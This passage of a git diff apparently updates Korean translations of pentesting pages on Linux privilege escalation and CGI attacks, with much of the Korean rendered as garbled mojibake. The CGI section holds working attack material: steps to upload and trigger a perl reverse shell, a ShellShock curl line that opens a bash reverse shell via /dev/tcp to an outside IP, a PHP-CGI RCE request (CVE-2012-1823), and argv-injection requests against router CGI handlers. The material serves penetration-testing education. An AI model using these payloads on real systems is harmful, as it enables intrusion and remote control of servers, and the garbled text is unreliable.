๊ณ„์—ด์—์„œ๋Š” ๋Œ€์ฒด ๊ฒฝ๋กœ๋กœ `/etc/rc.d/init.d` ๊ฐ€ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. +The directory `/etc/init.d` is home to **scripts** for System V init (SysVinit), the **classic Linux service management system**. It includes scripts to `start`, `stop`, `restart`, and sometimes `reload` services. These can be executed directly or through symbolic links found in `/etc/rc?.d/`. An alternative path in Redhat systems is `/etc/rc.d/init.d`. -๋ฐ˜๋ฉด์— `/etc/init` ์€ **Upstart** ์™€ ์—ฐ๊ด€๋˜์–ด ์žˆ์œผ๋ฉฐ, Ubuntu์—์„œ ๋„์ž…๋œ ์ƒˆ๋กœ์šด **service management** ๋ฐฉ์‹์œผ๋กœ ์„œ๋น„์Šค ๊ด€๋ฆฌ๋ฅผ ์œ„ํ•œ ์„ค์ • ํŒŒ์ผ์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. Upstart๋กœ ์ „ํ™˜๋˜์—ˆ์Œ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ , Upstart์˜ ํ˜ธํ™˜์„ฑ ๋ ˆ์ด์–ด ๋•Œ๋ฌธ์— SysVinit ์Šคํฌ๋ฆฝํŠธ๊ฐ€ Upstart ์„ค์ •๊ณผ ํ•จ๊ป˜ ์—ฌ์ „ํžˆ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. +On the other hand, `/etc/init` is associated with **Upstart**, a newer **service management** introduced by Ubuntu, using configuration files for service management tasks. Despite the transition to Upstart, SysVinit scripts are still utilized alongside Upstart configurations due to a compatibility layer in Upstart. -**systemd** ๋Š” ํ˜„๋Œ€์ ์ธ ์ดˆ๊ธฐํ™” ๋ฐ ์„œ๋น„์Šค ๊ด€๋ฆฌ์ž๋กœ ๋“ฑ์žฅํ–ˆ์œผ๋ฉฐ, on-demand daemon ์‹œ์ž‘, automount ๊ด€๋ฆฌ, ์‹œ์Šคํ…œ ์ƒํƒœ ์Šค๋ƒ…์ƒท ๋“ฑ ๊ณ ๊ธ‰ ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ํŒจํ‚ค์ง€ ๋ฐฐํฌ์šฉ ํŒŒ์ผ์€ `/usr/lib/systemd/` ์—, ๊ด€๋ฆฌ์ž๊ฐ€ ์ˆ˜์ •ํ•˜๋Š” ํŒŒ์ผ์€ `/etc/systemd/system/` ์— ์ •๋ฆฌ๋˜์–ด ์žˆ์–ด ์‹œ์Šคํ…œ ๊ด€๋ฆฌ ์ž‘์—…์„ ๋‹จ์ˆœํ™”ํ•ฉ๋‹ˆ๋‹ค. +**systemd** emerges as a modern initialization and service manager, offering advanced features such as on-demand daemon starting, automount management, and system state snapshots. It organizes files into `/usr/lib/systemd/` for distribution packages and `/etc/systemd/system/` for administrator modifications, streamlining the system administration process. -## ๊ธฐํƒ€ ์š”๋ น +## Other Tricks ### NFS Privilege escalation @@ -1478,7 +1493,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ privilegedํ•œ ์ปค๋„ ๊ธฐ๋Šฅ์„ userspace manager์— ๋…ธ์ถœํ•˜๊ธฐ ์œ„ํ•ด syscall์„ ํ›…ํ•ฉ๋‹ˆ๋‹ค. ์•ฝํ•œ manager ์ธ์ฆ(์˜ˆ: FD-order ๊ธฐ๋ฐ˜์˜ ์„œ๋ช… ๊ฒ€์‚ฌ ๋˜๋Š” ์ทจ์•ฝํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ ์ฒด๊ณ„)์€ ๋กœ์ปฌ ์•ฑ์ด manager๋ฅผ ๊ฐ€์žฅํ•˜์—ฌ ์ด๋ฏธ ๋ฃจํŒ…๋œ ์žฅ์น˜์—์„œ root๋กœ ์ƒ์Šนํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ ๋ฐ ์ต์Šคํ”Œ๋กœ์ž‡ ์„ธ๋ถ€์‚ฌํ•ญ์€ ๋‹ค์Œ์„ ์ฐธ์กฐํ•˜์„ธ์š”: +Android rooting frameworks๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ privileged kernel ๊ธฐ๋Šฅ์„ userspace manager์— ๋…ธ์ถœํ•˜๊ธฐ ์œ„ํ•ด syscall์„ hookํ•ฉ๋‹ˆ๋‹ค. ์•ฝํ•œ manager ์ธ์ฆ(์˜ˆ: FD-order์— ๊ธฐ๋ฐ˜ํ•œ signature checks๋‚˜ ์ทจ์•ฝํ•œ password schemes)์€ ๋กœ์ปฌ ์•ฑ์ด manager๋ฅผ ์‚ฌ์นญํ•˜์—ฌ ์ด๋ฏธ-rooted๋œ ๊ธฐ๊ธฐ์—์„œ root๋กœ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ๊ณผ ์ต์Šคํ”Œ๋กœ์ž‡ ์„ธ๋ถ€์‚ฌํ•ญ์€ ๋‹ค์Œ์„ ์ฐธ์กฐํ•˜์„ธ์š”: {{#ref}} @@ -1487,20 +1502,20 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) -VMware Tools/Aria Operations์˜ regex ๊ธฐ๋ฐ˜ ์„œ๋น„์Šค ๊ฒ€์ƒ‰์€ ํ”„๋กœ์„ธ์Šค ์ปค๋งจ๋“œ ๋ผ์ธ์—์„œ ๋ฐ”์ด๋„ˆ๋ฆฌ ๊ฒฝ๋กœ๋ฅผ ์ถ”์ถœํ•˜๊ณ  privileged ์ปจํ…์ŠคํŠธ์—์„œ ํ•ด๋‹น ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ -v ์˜ต์…˜๊ณผ ํ•จ๊ป˜ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋Š์Šจํ•œ ํŒจํ„ด(์˜ˆ: \S ์‚ฌ์šฉ)์€ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ์œ„์น˜(์˜ˆ: /tmp/httpd)์— ๊ณต๊ฒฉ์ž๊ฐ€ ๋ฐฐ์น˜ํ•œ ๋ฆฌ์Šค๋„ˆ์™€ ๋งค์น˜๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊ทธ ๊ฒฐ๊ณผ root๋กœ ์‹คํ–‰๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (CWE-426 Untrusted Search Path). +Regex-driven service discovery in VMware Tools/Aria Operations can extract a binary path from process command lines and execute it with -v under a privileged context. Permissive patterns (e.g., using \S) may match attacker-staged listeners in writable locations (e.g., /tmp/httpd), leading to execution as root (CWE-426 Untrusted Search Path). -์ž์„ธํ•œ ๋‚ด์šฉ๊ณผ ๋‹ค๋ฅธ discovery/monitoring ์Šคํƒ์—๋„ ์ ์šฉ ๊ฐ€๋Šฅํ•œ ์ผ๋ฐ˜ํ™”๋œ ํŒจํ„ด์€ ๋‹ค์Œ์„ ์ฐธ์กฐํ•˜์„ธ์š”: +Learn more and see a generalized pattern applicable to other discovery/monitoring stacks here: {{#ref}} vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md {{#endref}} -## ์ปค๋„ ๋ณด์•ˆ ๋ณดํ˜ธ +## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## ์ถ”๊ฐ€ ๋„์›€๋ง +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) @@ -1513,13 +1528,13 @@ vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** ๋ฆฌ๋ˆ…์Šค์™€ MAC์˜ ์ปค๋„ ์ทจ์•ฝ์ ์„ ์—ด๊ฑฐํ•ฉ๋‹ˆ๋‹ค [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (๋ฌผ๋ฆฌ์  ์ ‘๊ทผ):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**๋” ๋งŽ์€ ์Šคํฌ๋ฆฝํŠธ ๋ชจ์Œ**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## ์ฐธ๊ณ ์ž๋ฃŒ +## References - [0xdf โ€“ HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html) - [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui) diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md index db7484199..8ddaadd6e 100644 --- a/src/network-services-pentesting/pentesting-web/cgi.md +++ b/src/network-services-pentesting/pentesting-web/cgi.md @@ -5,20 +5,20 @@ ## ์ •๋ณด -The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** (`/usr/share/webshells/perl/perl-reverse-shell.pl`), **change the extension** from **.pl** to **.cgi**, give **execute permissions** (`chmod +x`) and **access** the reverse shell **from the web browser** to execute it. -CGI vulns๋ฅผ ํ…Œ์ŠคํŠธํ•˜๊ธฐ ์œ„ํ•ด `nikto -C all` (๋ฐ ๋ชจ๋“  ํ”Œ๋Ÿฌ๊ทธ์ธ) ์‚ฌ์šฉ์„ ๊ถŒ์žฅํ•œ๋‹ค. +The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **change the extension** from **.pl** to **.cgi**, give **execute permissions** \(`chmod +x`\) and **access** the reverse shell **from the web browser** to execute it. +In order to test for **CGI vulns** it's recommended to use `nikto -C all` \(๋ฐ ๋ชจ๋“  ํ”Œ๋Ÿฌ๊ทธ์ธ\) ## **ShellShock** -**ShellShock**๋Š” Unix ๊ธฐ๋ฐ˜ ์šด์˜์ฒด์ œ์—์„œ ๋„๋ฆฌ ์‚ฌ์šฉ๋˜๋Š” ๋ช…๋ น์ค„ ์‰˜์ธ **Bash**์— ์˜ํ–ฅ์„ ๋ฏธ์น˜๋Š” **vulnerability**์ด๋‹ค. ์ด ์ทจ์•ฝ์ ์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์ „๋‹ฌํ•œ ๋ช…๋ น์„ Bash๊ฐ€ ์‹คํ–‰ํ•˜๋Š” ๋Šฅ๋ ฅ์„ ๊ฒจ๋ƒฅํ•œ๋‹ค. ์ทจ์•ฝ์ ์€ ํ”„๋กœ์„ธ์Šค์˜ ๋™์ž‘์— ์˜ํ–ฅ์„ ์ฃผ๋Š” ๋™์  ์ด๋ฆ„ ๊ฐ’์ธ **environment variables**์˜ ์กฐ์ž‘์— ์žˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ์—ฌ๊ธฐ์— **malicious code**๋ฅผ ๋ถ™์—ฌ ๋ณ€์ˆ˜๊ฐ€ ์ „๋‹ฌ๋  ๋•Œ ์‹คํ–‰๋˜๋„๋ก ํ•˜์—ฌ ์‹œ์Šคํ…œ์„ ์นจํ•ดํ•  ์ˆ˜ ์žˆ๋‹ค. +**ShellShock**์€ Unix ๊ณ„์—ด ์šด์˜์ฒด์ œ์—์„œ ๋„๋ฆฌ ์‚ฌ์šฉ๋˜๋Š” **Bash** ๋ช…๋ น์ค„ ์…ธ์— ์˜ํ–ฅ์„ ๋ฏธ์น˜๋Š” **์ทจ์•ฝ์ **์ž…๋‹ˆ๋‹ค. ์ด ์ทจ์•ฝ์ ์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์ „๋‹ฌํ•œ ๋ช…๋ น์„ Bash๊ฐ€ ์‹คํ–‰ํ•˜๋Š” ๊ธฐ๋Šฅ์„ ๋ชฉํ‘œ๋กœ ํ•ฉ๋‹ˆ๋‹ค. ์ทจ์•ฝ์ ์€ ํ”„๋กœ์„ธ์Šค ์‹คํ–‰ ๋ฐฉ์‹์— ์˜ํ–ฅ์„ ์ฃผ๋Š” ๋™์  ์ด๋ฆ„-๊ฐ’์ธ **ํ™˜๊ฒฝ ๋ณ€์ˆ˜(environment variables)** ์กฐ์ž‘์— ์žˆ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ํ™˜๊ฒฝ ๋ณ€์ˆ˜์— **์•…์„ฑ ์ฝ”๋“œ**๋ฅผ ์ฒจ๋ถ€ํ•˜๊ณ , ํ•ด๋‹น ๋ณ€์ˆ˜๋ฅผ ์ˆ˜์‹ ํ•  ๋•Œ ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋˜๋„๋ก ํ•˜์—ฌ ์ด๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ์‹œ์Šคํ…œ์„ ์†์ƒ์‹œํ‚ฌ ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ์Šต๋‹ˆ๋‹ค. -์ด ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๋ฉด **ํŽ˜์ด์ง€๊ฐ€ ์˜ค๋ฅ˜๋ฅผ ๋ฐœ์ƒ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋‹ค**. +์ด ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๋ฉด **ํŽ˜์ด์ง€๊ฐ€ ์—๋Ÿฌ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ฌ ์ˆ˜** ์žˆ์Šต๋‹ˆ๋‹ค. -์ด ์ทจ์•ฝ์ ์„ **์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค**๋Š” ๊ฒƒ์€ **old Apache version**๊ณผ **cgi_mod** (with cgi folder)์„ ์‚ฌ์šฉ ์ค‘์ธ์ง€ ํ™•์ธํ•˜๊ฑฐ๋‚˜ **nikto**๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์œผ๋กœ ์•Œ ์ˆ˜ ์žˆ๋‹ค. +์ด ์ทจ์•ฝ์ ์„ ์ฐพ์œผ๋ ค๋ฉด ํ•ด๋‹น ์„œ๋ฒ„๊ฐ€ **old Apache version**๊ณผ **cgi_mod** \(with cgi folder\)์„ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ฑฐ๋‚˜ **nikto**๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค. ### **ํ…Œ์ŠคํŠธ** -๋Œ€๋ถ€๋ถ„์˜ ํ…Œ์ŠคํŠธ๋Š” echo๋กœ ๋ฌด์–ธ๊ฐ€๋ฅผ ์ถœ๋ ฅํ•˜๊ณ  ํ•ด๋‹น ๋ฌธ์ž์—ด์ด ์›น ์‘๋‹ต์— ๋ฐ˜ํ™˜๋˜๋Š”์ง€๋ฅผ ํ™•์ธํ•˜๋Š” ๋ฐฉ์‹์ด๋‹ค. ํŽ˜์ด์ง€๊ฐ€ ์ทจ์•ฝํ•  ์ˆ˜ ์žˆ๋‹ค๊ณ  ์ƒ๊ฐ๋˜๋ฉด ๋ชจ๋“  cgi pages๋ฅผ ์ฐพ์•„ ํ…Œ์ŠคํŠธํ•˜๋ผ. +๋Œ€๋ถ€๋ถ„์˜ ํ…Œ์ŠคํŠธ๋Š” echo ๋ช…๋ น์œผ๋กœ ๋ฌด์–ธ๊ฐ€๋ฅผ ์ถœ๋ ฅํ•˜๊ณ  ๊ทธ ๋ฌธ์ž์—ด์ด ์›น ์‘๋‹ต์— ๋ฐ˜ํ™˜๋˜๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๋ฐฉ์‹์ž…๋‹ˆ๋‹ค. ํŠน์ • ํŽ˜์ด์ง€๊ฐ€ ์ทจ์•ฝํ•  ์ˆ˜ ์žˆ๋‹ค๊ณ  ์ƒ๊ฐ๋˜๋ฉด ๋ชจ๋“  cgi pages๋ฅผ ์ฐพ์•„ ํ…Œ์ŠคํŠธํ•˜์„ธ์š”. **Nmap** ```bash @@ -51,17 +51,17 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt > set rhosts 10.1.2.11 > run ``` -## ์ค‘์•™์ง‘์ค‘ํ˜• CGI ๋””์ŠคํŒจ์ฒ˜ (selector ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ํ†ตํ•œ ๋‹จ์ผ ์—”๋“œํฌ์ธํŠธ ๋ผ์šฐํŒ…) +## ์ค‘์•™์ง‘์ค‘์‹ CGI ๋””์ŠคํŒจ์ฒ˜ (์„ ํƒ์ž ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํ†ตํ•œ ๋‹จ์ผ ์—”๋“œํฌ์ธํŠธ ๋ผ์šฐํŒ…) -๋งŽ์€ ์ž„๋ฒ ๋””๋“œ ์›น UI๋Š” ๋‹จ์ผ CGI ์—”๋“œํฌ์ธํŠธ(์˜ˆ: `/cgi-bin/cstecgi.cgi`) ๋’ค์— ์ˆ˜์‹ญ ๊ฐ€์ง€ ๊ถŒํ•œ ์žˆ๋Š” ๋™์ž‘์„ ๋‹ค์ค‘ํ™”ํ•˜๊ณ , `topicurl=`์™€ ๊ฐ™์€ selector ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•ด ์š”์ฒญ์„ ๋‚ด๋ถ€ ํ•จ์ˆ˜๋กœ ๋ผ์šฐํŒ…ํ•ฉ๋‹ˆ๋‹ค. +๋งŽ์€ ์ž„๋ฒ ๋””๋“œ ์›น UI๋Š” ํ•˜๋‚˜์˜ CGI ์—”๋“œํฌ์ธํŠธ(์˜ˆ: `/cgi-bin/cstecgi.cgi`) ๋’ค์— ์ˆ˜์‹ญ ๊ฐœ์˜ ๊ถŒํ•œ ์žˆ๋Š” ๋™์ž‘์„ ๋ฉ€ํ‹ฐํ”Œ๋ ‰์Šคํ•˜๊ณ  `topicurl=` ๊ฐ™์€ ์„ ํƒ์ž ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ์š”์ฒญ์„ ๋‚ด๋ถ€ ํ•จ์ˆ˜๋กœ ๋ผ์šฐํŒ…ํ•ฉ๋‹ˆ๋‹ค. -Methodology to exploit these routers: +์ด๋Ÿฌํ•œ ๋ผ์šฐํ„ฐ๋ฅผ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•๋ก : -- Enumerate handler names: scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher. -- Test unauthenticated reachability: some handlers forget auth checks and are directly callable. -- Focus on handlers that invoke system utilities or touch files; weak validators often only block a few characters and might miss the leading hyphen `-`. +- ํ•ธ๋“ค๋Ÿฌ(handler) ์ด๋ฆ„ ์—ด๊ฑฐ: scrape JS/HTML, wordlists๋กœ brute-force, ๋˜๋Š” firmware๋ฅผ unpackํ•˜๊ณ  dispatcher์—์„œ ์‚ฌ์šฉ๋œ handler ๋ฌธ์ž์—ด์„ grep. +- ์ธ์ฆ ์—†๋Š” ์ ‘๊ทผ์„ฑ ํ…Œ์ŠคํŠธ: ์ผ๋ถ€ handlers๋Š” auth checks๋ฅผ ์žŠ์–ด๋ฒ„๋ ค ์ง์ ‘ ํ˜ธ์ถœ ๊ฐ€๋Šฅํ•จ. +- system utilities๋ฅผ ํ˜ธ์ถœํ•˜๊ฑฐ๋‚˜ ํŒŒ์ผ์„ touch ํ•˜๋Š” handlers์— ์ง‘์ค‘: ์•ฝํ•œ validators๋Š” ์ข…์ข… ๋ช‡ ๋ฌธ์ž๋งŒ ์ฐจ๋‹จํ•˜๊ณ  ์„ ํ–‰ ํ•˜์ดํ”ˆ `-`์„ ๋†“์น  ์ˆ˜ ์žˆ์Œ. -Generic exploit shapes: +์ผ๋ฐ˜์ ์ธ ์ต์Šคํ”Œ๋กœ์ž‡ ํ˜•ํƒœ: ```http POST /cgi-bin/cstecgi.cgi HTTP/1.1 Content-Type: application/x-www-form-urlencoded @@ -77,30 +77,30 @@ topicurl=setWizardCfg&=/etc/init.d/S99rc ``` ํƒ์ง€ ๋ฐ ๊ฐ•ํ™”: -- ์ค‘์•™ํ™”๋œ CGI ์—”๋“œํฌ์ธํŠธ๋กœ์˜ ์ธ์ฆ๋˜์ง€ ์•Š์€ ์š”์ฒญ ์ค‘ `topicurl`์ด ๋ฏผ๊ฐํ•œ handlers๋กœ ์„ค์ •๋œ ๊ฒƒ์„ ์ฃผ์‹œํ•˜์„ธ์š”. -- ์•ž์— `-`๋กœ ์‹œ์ž‘ํ•˜๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํƒ์ง€ํ•˜์„ธ์š” (argv option injection attempts). -- ๋ฒค๋”: ๋ชจ๋“  ์ƒํƒœ ๋ณ€๊ฒฝ handlers์— ๋Œ€ํ•ด ์ธ์ฆ์„ ๊ฐ•์ œํ•˜๊ณ , ์—„๊ฒฉํ•œ allowlists/types/lengths๋กœ ๊ฒ€์ฆํ•˜๋ฉฐ, ์‚ฌ์šฉ์ž ์ œ์–ด ๋ฌธ์ž์—ด์„ command-line flags๋กœ ์ ˆ๋Œ€ ์ „๋‹ฌํ•˜์ง€ ๋งˆ์„ธ์š”. +- ์ค‘์•™ํ™”๋œ CGI ์—”๋“œํฌ์ธํŠธ์— ๋Œ€ํ•ด `topicurl`์ด ๋ฏผ๊ฐํ•œ ํ•ธ๋“ค๋Ÿฌ๋กœ ์„ค์ •๋œ ์ธ์ฆ๋˜์ง€ ์•Š์€ ์š”์ฒญ์„ ์ฃผ์‹œํ•˜์„ธ์š”. +- ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ `-`๋กœ ์‹œ์ž‘ํ•˜๋Š” ๊ฒฝ์šฐ ํ”Œ๋ž˜๊ทธ ์ฒ˜๋ฆฌํ•˜์„ธ์š” (argv option injection attempts). +- ๋ฒค๋”: ๋ชจ๋“  ์ƒํƒœ ๋ณ€๊ฒฝ ํ•ธ๋“ค๋Ÿฌ์— ๋Œ€ํ•ด ์ธ์ฆ์„ ๊ฐ•์ œํ•˜๊ณ , ์—„๊ฒฉํ•œ ํ—ˆ์šฉ๋ชฉ๋ก/ํƒ€์ž…/๊ธธ์ด๋กœ ๊ฒ€์ฆํ•˜๋ฉฐ, ์‚ฌ์šฉ์ž ์ œ์–ด ๋ฌธ์ž์—ด์„ ์ปค๋งจ๋“œ๋ผ์ธ ํ”Œ๋ž˜๊ทธ๋กœ ์ ˆ๋Œ€ ์ „๋‹ฌํ•˜์ง€ ๋งˆ์„ธ์š”. -## ๊ตฌํ˜• PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) +## Old PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) -๊ธฐ๋ณธ์ ์œผ๋กœ cgi๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๊ณ  php๊ฐ€ "๊ตฌํ˜•" \(<5.3.12 / < 5.4.2\)์ธ ๊ฒฝ์šฐ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -์ด ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๋ ค๋ฉด ์›น ์„œ๋ฒ„์˜ PHP ํŒŒ์ผ์— ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ณด๋‚ด์ง€ ์•Š๊ณ  ์ ‘๊ทผํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค \(ํŠนํžˆ ๋ฌธ์ž "="์„ ๋ณด๋‚ด์ง€ ์•Š๊ณ \). -๊ทธ๋Ÿฐ ๋‹ค์Œ ์ด ์ทจ์•ฝ์ ์„ ํ…Œ์ŠคํŠธํ•˜๋ ค๋ฉด ์˜ˆ๋ฅผ ๋“ค์–ด `/index.php?-s` \(`-s`์— ์ฃผ์˜\)์— ์ ‘๊ทผํ•˜๋ฉด **์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์†Œ์Šค ์ฝ”๋“œ๊ฐ€ ์‘๋‹ต์— ๋‚˜ํƒ€๋‚ฉ๋‹ˆ๋‹ค**. +๊ธฐ๋ณธ์ ์œผ๋กœ cgi๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๊ณ  php๊ฐ€ "๊ตฌ๋ฒ„์ „" (<5.3.12 / < 5.4.2)์ผ ๊ฒฝ์šฐ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์ด ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๋ ค๋ฉด ์›น ์„œ๋ฒ„์˜ PHP ํŒŒ์ผ์— ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ „์†กํ•˜์ง€ ์•Š๊ณ  ์ ‘๊ทผํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค(ํŠนํžˆ '=' ๋ฌธ์ž๋ฅผ ๋ณด๋‚ด์ง€ ์•Š์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค). +๊ทธ๋Ÿฐ ๋‹ค์Œ, ์ด ์ทจ์•ฝ์ ์„ ํ…Œ์ŠคํŠธํ•˜๋ ค๋ฉด ์˜ˆ๋ฅผ ๋“ค์–ด `/index.php?-s`์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค( `-s`์— ์ฃผ๋ชฉ) ๊ทธ๋ฆฌ๊ณ  ์‘๋‹ต์— ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ **์†Œ์Šค ์ฝ”๋“œ๊ฐ€ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค**. -๊ทธ๋Ÿฐ ๋‹ค์Œ **RCE**๋ฅผ ์–ป๊ธฐ ์œ„ํ•ด์„œ๋Š” ๋‹ค์Œ ํŠน์ˆ˜ ์ฟผ๋ฆฌ๋ฅผ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` ๊ทธ๋ฆฌ๊ณ  ์‹คํ–‰ํ•  **PHP ์ฝ”๋“œ**๋Š” ์š”์ฒญ์˜ **๋ณธ๋ฌธ**์— ๋„ฃ์Šต๋‹ˆ๋‹ค. -Example: +๊ทธ๋Ÿฐ ๋‹ค์Œ **RCE**๋ฅผ ์–ป๊ธฐ ์œ„ํ•ด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํŠน์ˆ˜ ์ฟผ๋ฆฌ๋ฅผ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` ๊ทธ๋ฆฌ๊ณ  ์‹คํ–‰ํ•  **PHP ์ฝ”๋“œ**๋Š” **์š”์ฒญ ๋ณธ๋ฌธ(body of the request)**์— ๋„ฃ์Šต๋‹ˆ๋‹ค. +์˜ˆ์‹œ: ```bash curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" ``` -**์ทจ์•ฝ์  ๋ฐ ๊ฐ€๋Šฅํ•œ ์ต์Šคํ”Œ๋กœ์ž‡์— ๋Œ€ํ•œ ์ถ”๊ฐ€ ์ •๋ณด:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** +**vuln ๋ฐ ๊ฐ€๋Šฅํ•œ exploits์— ๋Œ€ํ•œ ์ถ”๊ฐ€ ์ •๋ณด:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** ## **Proxy \(MitM to Web server requests\)** -CGI๋Š” http request์˜ ๊ฐ ํ—ค๋”๋งˆ๋‹ค ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ 